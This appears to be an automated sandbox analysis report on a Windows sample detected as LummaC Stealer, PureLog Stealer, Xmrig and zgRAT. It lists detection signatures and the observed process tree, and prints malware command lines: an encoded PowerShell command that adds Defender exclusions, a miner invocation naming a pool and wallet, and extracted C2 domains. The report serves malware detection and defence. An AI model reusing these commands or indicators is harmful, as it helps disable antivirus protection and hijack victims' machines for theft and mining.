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Windows
Analysis Report
PT54FFSL7ET46RASB.exe
Overview
General Information
Detection
LummaC Stealer, PureLog Stealer, Xmrig, zgRAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Xmrig
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Yara detected PureLog Stealer
Yara detected Xmrig cryptocurrency miner
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
Allocates memory in foreign processes
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Contains functionality to inject code into remote processes
Detected Stratum mining protocol
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Found strings related to Crypto-Mining
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Sigma detected: Potential Crypto Mining Activity
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Tries to harvest and steal Bitcoin Wallet information
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected PersistenceViaHiddenTask
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64native
- PT54FFSL7ET46RASB.exe (PID: 3088 cmdline:
"C:\Users\ user\Deskt op\PT54FFS L7ET46RASB .exe" MD5: 8199C105289D70AF5446C7FD64496D7B) - conhost.exe (PID: 5192 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - RegAsm.exe (PID: 6224 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 1456 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - RegAsm.exe (PID: 6856 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - glmIOFfdMi.exe (PID: 6648 cmdline:
"C:\Users\ user\AppDa ta\Roaming \glmIOFfdM i.exe" MD5: C164ED9887BD51CBA150379514DC4E81) - cmd.exe (PID: 8780 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\QgL1 KOz6bqKO.b at" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 8788 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - chcp.com (PID: 8840 cmdline:
chcp 65001 MD5: 41146159AA3D41A92B53ED311EE15693) - PING.EXE (PID: 8856 cmdline:
ping -n 5 localhost MD5: B3624DD758CCECF93A1226CEF252CA12) - l6E.exe (PID: 8932 cmdline:
"C:\Users\ user\AppDa ta\Roaming \l6E.exe" MD5: FAC2188E4A28A0CF32BF4417D797B0F8) - conhost.exe (PID: 8940 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - RegAsm.exe (PID: 9052 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13) - WerFault.exe (PID: 9164 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 9 052 -s 174 0 MD5: 40A149513D721F096DDF50C04DA2F01F) - YZRVUYjilL.exe (PID: 940 cmdline:
"C:\Users\ user\AppDa ta\Roaming \YZRVUYjil L.exe" MD5: FD3AD0AE7FE1BBEE4B2F2BD43A359393)
- powershell.exe (PID: 2320 cmdline:
powershell .exe -Exec utionPolic y Bypass - WindowStyl e Hidden - NoProfile -enc QQBkA GQALQBNAHA AUAByAGUAZ gBlAHIAZQB uAGMAZQAgA C0ARQB4AGM AbAB1AHMAa QBvAG4AUAB hAHQAaAAgA EMAOgBcAFU AcwBlAHIAc wBcAEQAeQB sAGEAbgBlA FwAQQBwAHA ARABhAHQAY QBcAFIAbwB hAG0AaQBuA GcAXABBAHI AZwB1AG0AZ QBuAHQAQwB vAHUAbgB0A FwAQwB1AHI AcgBlAG4Ad AAuAGUAeAB lACwAQwA6A FwAVwBpAG4 AZABvAHcAc wBcAE0AaQB jAHIAbwBzA G8AZgB0AC4 ATgBFAFQAX ABGAHIAYQB tAGUAdwBvA HIAawA2ADQ AXAB2ADQAL gAwAC4AMwA wADMAMQA5A FwAQQBkAGQ ASQBuAFAAc gBvAGMAZQB zAHMALgBlA HgAZQAsAEM AOgBcAFUAc wBlAHIAcwB cAEQAeQBsA GEAbgBlAFw AQQBwAHAAR ABhAHQAYQB cAEwAbwBjA GEAbABcAFQ AZQBtAHAAX AAgAC0ARgB vAHIAYwBlA DsAIABBAGQ AZAAtAE0Ac ABQAHIAZQB mAGUAcgBlA G4AYwBlACA ALQBFAHgAY wBsAHUAcwB pAG8AbgBQA HIAbwBjAGU AcwBzACAAQ wA6AFwAVwB pAG4AZABvA HcAcwBcAE0 AaQBjAHIAb wBzAG8AZgB 0AC4ATgBFA FQAXABGAHI AYQBtAGUAd wBvAHIAawA 2ADQAXAB2A DQALgAwAC4 AMwAwADMAM QA5AFwAQQB kAGQASQBuA FAAcgBvAGM AZQBzAHMAL gBlAHgAZQA sAEMAOgBcA FUAcwBlAHI AcwBcAEQAe QBsAGEAbgB lAFwAQQBwA HAARABhAHQ AYQBcAFIAb wBhAG0AaQB uAGcAXABBA HIAZwB1AG0 AZQBuAHQAQ wBvAHUAbgB 0AFwAQwB1A HIAcgBlAG4 AdAAuAGUAe ABlAA== MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7824 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - WmiPrvSE.exe (PID: 8288 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
- Current.exe (PID: 6912 cmdline:
C:\Users\u ser\AppDat a\Roaming\ ArgumentCo unt\Curren t.exe MD5: FD3AD0AE7FE1BBEE4B2F2BD43A359393) - RegSvcs.exe (PID: 8344 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\Re gSvcs.exe MD5: DC67ADE51149EC0C373A379473895BA1) - AddInProcess.exe (PID: 8596 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\Ad dInProcess .exe -o po ol.hashvau lt.pro:80 -u 43i9Xqe bDi6cXV1AE DLwbJAxy2o rmYj4NbvNB 5LZDu7TWoe 9orevfsZPB b3LtSbPUXb v9bzUAbFZi RNQ2zfigeD Z7aCWf99.R IG_CPU -p x --algo r x/0 --cpu- max-thread s-hint=50 MD5: 929EA1AF28AFEA2A3311FD4297425C94)
- Current.exe (PID: 8884 cmdline:
C:\Users\u ser\AppDat a\Roaming\ ArgumentCo unt\Curren t.exe MD5: FD3AD0AE7FE1BBEE4B2F2BD43A359393)
- svchost.exe (PID: 9104 cmdline:
C:\Windows \System32\ svchost.ex e -k WerSv cGroup MD5: F586835082F632DC8D9404D83BC16316) - WerFault.exe (PID: 9140 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -pss -s 444 -p 90 52 -ip 905 2 MD5: 40A149513D721F096DDF50C04DA2F01F)
- svchost.exe (PID: 4364 cmdline:
C:\Windows \system32\ svchost.ex e -k netsv cs -p -s w lidsvc MD5: F586835082F632DC8D9404D83BC16316)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
xmrig | According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
zgRAT | zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. | No Attribution |
{"C2 url": ["reggwardssdqw.shop", "tesecuuweqo.shop", "relaxatinownio.shop", "eemmbryequo.shop", "keennylrwmqlw.shop", "tendencctywop.shop", "licenseodqwmqn.shop", "tryyudjasudqo.shop"], "Build id": "hv0fRu--"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Xmrig | Yara detected Xmrig cryptocurrency miner | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_zgRAT_1 | Yara detected zgRAT | Joe Security | ||
JoeSecurity_PureLogStealer | Yara detected PureLog Stealer | Joe Security | ||
Click to see the 42 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 41 entries |
Bitcoin Miner |
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Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |